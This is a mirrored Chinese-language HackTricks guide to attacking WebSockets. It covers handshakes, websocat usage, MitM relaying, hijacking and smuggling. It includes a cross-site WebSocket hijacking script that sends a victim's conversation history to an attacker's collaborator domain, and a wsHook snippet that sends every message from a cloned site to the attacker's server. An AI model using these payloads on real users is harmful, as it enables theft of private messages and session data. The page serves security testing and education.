mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
158 lines
8.9 KiB
Markdown
158 lines
8.9 KiB
Markdown
# WebSocket 攻击
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|
||
|
||
## 什么是 WebSocket
|
||
|
||
WebSocket 连接通过初始的 **HTTP** 握手建立,旨在实现 **长时间** 存活,允许随时进行双向消息传递,而无需事务系统。这使得 WebSocket 特别适合需要 **低延迟或服务器发起通信** 的应用程序,例如实时金融数据流。
|
||
|
||
### WebSocket 连接的建立
|
||
|
||
有关建立 WebSocket 连接的详细说明可以访问 [**这里**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc)。总之,WebSocket 连接通常通过客户端 JavaScript 发起,如下所示:
|
||
```javascript
|
||
var ws = new WebSocket("wss://normal-website.com/ws")
|
||
```
|
||
`wss` 协议表示一个通过 **TLS** 安全的 WebSocket 连接,而 `ws` 表示一个 **不安全** 的连接。
|
||
|
||
在连接建立期间,浏览器和服务器之间通过 HTTP 进行握手。握手过程涉及浏览器发送请求和服务器响应,如下例所示:
|
||
|
||
浏览器发送握手请求:
|
||
```javascript
|
||
GET /chat HTTP/1.1
|
||
Host: normal-website.com
|
||
Sec-WebSocket-Version: 13
|
||
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
|
||
Connection: keep-alive, Upgrade
|
||
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
|
||
Upgrade: websocket
|
||
```
|
||
服务器的握手响应:
|
||
```javascript
|
||
HTTP/1.1 101 Switching Protocols
|
||
Connection: Upgrade
|
||
Upgrade: websocket
|
||
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
|
||
```
|
||
连接一旦建立,便可以在双向进行消息交换。
|
||
|
||
**WebSocket 握手的关键点:**
|
||
|
||
- `Connection` 和 `Upgrade` 头部信号表示 WebSocket 握手的开始。
|
||
- `Sec-WebSocket-Version` 头部指示所需的 WebSocket 协议版本,通常为 `13`。
|
||
- 在 `Sec-WebSocket-Key` 头部中发送一个 Base64 编码的随机值,确保每个握手都是唯一的,这有助于防止缓存代理出现问题。该值不是用于身份验证,而是用于确认响应不是由配置错误的服务器或缓存生成的。
|
||
- 服务器响应中的 `Sec-WebSocket-Accept` 头部是 `Sec-WebSocket-Key` 的哈希,验证服务器打开 WebSocket 连接的意图。
|
||
|
||
这些特性确保了握手过程的安全性和可靠性,为高效的实时通信铺平了道路。
|
||
|
||
### Linux 控制台
|
||
|
||
您可以使用 `websocat` 与 websocket 建立原始连接。
|
||
```bash
|
||
websocat --insecure wss://10.10.10.10:8000 -v
|
||
```
|
||
或创建一个 websocat 服务器:
|
||
```bash
|
||
websocat -s 0.0.0.0:8000 #Listen in port 8000
|
||
```
|
||
### MitM websocket 连接
|
||
|
||
如果您发现客户端从当前本地网络连接到 **HTTP websocket**,您可以尝试进行 [ARP Spoofing Attack](../generic-methodologies-and-resources/pentesting-network/index.html#arp-spoofing) 来在客户端和服务器之间执行 MitM 攻击。\
|
||
一旦客户端尝试连接,您可以使用:
|
||
```bash
|
||
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
|
||
```
|
||
### Websockets enumeration
|
||
|
||
您可以使用 **tool** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) **自动发现、指纹识别和搜索已知的** **vulnerabilities** **在 websockets 中。**
|
||
|
||
### Websocket Debug tools
|
||
|
||
- **Burp Suite** 以与常规 HTTP 通信非常相似的方式支持 MitM websockets 通信。
|
||
- [**socketsleuth**](https://github.com/snyk/socketsleuth) **Burp Suite 扩展** 将允许您通过获取 **history**、设置 **interception rules**、使用 **match and replace** 规则、使用 **Intruder** 和 **AutoRepeater** 更好地管理 Burp 中的 Websocket 通信。
|
||
- [**WSSiP**](https://github.com/nccgroup/wssip)**:** 代表 "**WebSocket/Socket.io Proxy**",这个用 Node.js 编写的工具提供了一个用户界面来 **capture、intercept、send custom** 消息并查看客户端和服务器之间的所有 WebSocket 和 Socket.IO 通信。
|
||
- [**wsrepl**](https://github.com/doyensec/wsrepl) 是一个专门为渗透测试设计的 **interactive websocket REPL**。它提供了一个接口来观察 **incoming websocket messages 和发送新消息**,并提供一个易于使用的框架来 **automating** 这种通信。
|
||
- [**https://websocketking.com/**](https://websocketking.com/) 是一个 **web to communicate** 使用 **websockets** 与其他网站进行通信。
|
||
- [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) 在其他类型的通信/协议中,它提供了一个 **web to communicate** 使用 **websockets** 与其他网站进行通信。
|
||
|
||
## Websocket Lab
|
||
|
||
在 [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) 中,您有一个代码来启动一个使用 websockets 的网页,在 [**this post**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) 中可以找到解释。
|
||
|
||
## Cross-site WebSocket hijacking (CSWSH)
|
||
|
||
**Cross-site WebSocket hijacking**,也称为 **cross-origin WebSocket hijacking**,被识别为影响 WebSocket 握手的 **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)** 的特定案例。当 WebSocket 握手仅通过 **HTTP cookies** 进行身份验证而没有 **CSRF tokens** 或类似的安全措施时,就会出现此漏洞。
|
||
|
||
攻击者可以通过托管一个 **malicious web page** 来利用这一点,该页面发起与易受攻击应用程序的跨站点 WebSocket 连接。因此,该连接被视为受害者与应用程序的会话的一部分,利用会话处理机制中缺乏 CSRF 保护。
|
||
|
||
### Simple Attack
|
||
|
||
请注意,当 **establishing** 一个 **websocket** 连接时,**cookie** 会被 **sent** 到服务器。**server** 可能会使用它来 **relate** 每个 **specific** **user** 与其基于发送的 cookie 的 **websocket** **session**。
|
||
|
||
然后,如果 **例如** **websocket** **server** **发送回用户的对话历史**,如果发送了带有 "**READY"** 的消息,那么一个 **simple XSS** 建立连接(**cookie** 将 **automatically** 被 **sent** 以授权受害者用户) **sending** "**READY**" 将能够 **retrieve** 对话的 **history**。
|
||
```html
|
||
<script>
|
||
websocket = new WebSocket('wss://your-websocket-URL')
|
||
websocket.onopen = start
|
||
websocket.onmessage = handleReply
|
||
function start(event) {
|
||
websocket.send("READY"); //Send the message to retreive confidential information
|
||
}
|
||
function handleReply(event) {
|
||
//Exfiltrate the confidential information to attackers server
|
||
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
|
||
}
|
||
</script>
|
||
```
|
||
### 跨域 + 不同子域的 Cookie
|
||
|
||
在这篇博客文章 [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) 中,攻击者成功地 **在进行 Websocket 通信的域的子域中执行了任意 Javascript**。因为这是一个 **子域**,**cookie** 被 **发送**,而且 **Websocket 没有正确检查 Origin**,因此可以与其通信并 **窃取其中的令牌**。
|
||
|
||
### 从用户那里窃取数据
|
||
|
||
复制您想要冒充的 Web 应用程序(例如 .html 文件),并在进行 Websocket 通信的脚本中添加以下代码:
|
||
```javascript
|
||
//This is the script tag to load the websocket hooker
|
||
;<script src="wsHook.js"></script>
|
||
|
||
//These are the functions that are gonig to be executed before a message
|
||
//is sent by the client or received from the server
|
||
//These code must be between some <script> tags or inside a .js file
|
||
wsHook.before = function (data, url) {
|
||
var xhttp = new XMLHttpRequest()
|
||
xhttp.open("GET", "client_msg?m=" + data, true)
|
||
xhttp.send()
|
||
}
|
||
wsHook.after = function (messageEvent, url, wsObject) {
|
||
var xhttp = new XMLHttpRequest()
|
||
xhttp.open("GET", "server_msg?m=" + messageEvent.data, true)
|
||
xhttp.send()
|
||
return messageEvent
|
||
}
|
||
```
|
||
现在从 [https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook) 下载 `wsHook.js` 文件,并**将其保存在网页文件夹内**。\
|
||
通过暴露网络应用程序并使用户连接到它,您将能够窃取通过 websocket 发送和接收的消息:
|
||
```javascript
|
||
sudo python3 -m http.server 80
|
||
```
|
||
## 竞争条件
|
||
|
||
WebSockets 中的竞争条件也是一个问题,[查看此信息以了解更多](race-condition.md#rc-in-websockets)。
|
||
|
||
## 其他漏洞
|
||
|
||
由于 Web Sockets 是一种 **向服务器端和客户端发送数据** 的机制,具体取决于服务器和客户端如何处理信息,**Web Sockets 可用于利用其他几种漏洞,如 XSS、SQLi 或任何其他常见的网络漏洞,使用来自 websocket 的用户输入。**
|
||
|
||
## **WebSocket 走私**
|
||
|
||
此漏洞可能允许您 **绕过反向代理限制**,使其相信 **已建立 websocket 通信**(即使这不是真的)。这可能允许攻击者 **访问隐藏的端点**。有关更多信息,请查看以下页面:
|
||
|
||
{{#ref}}
|
||
h2c-smuggling.md
|
||
{{#endref}}
|
||
|
||
## 参考
|
||
|
||
- [https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages](https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages)
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|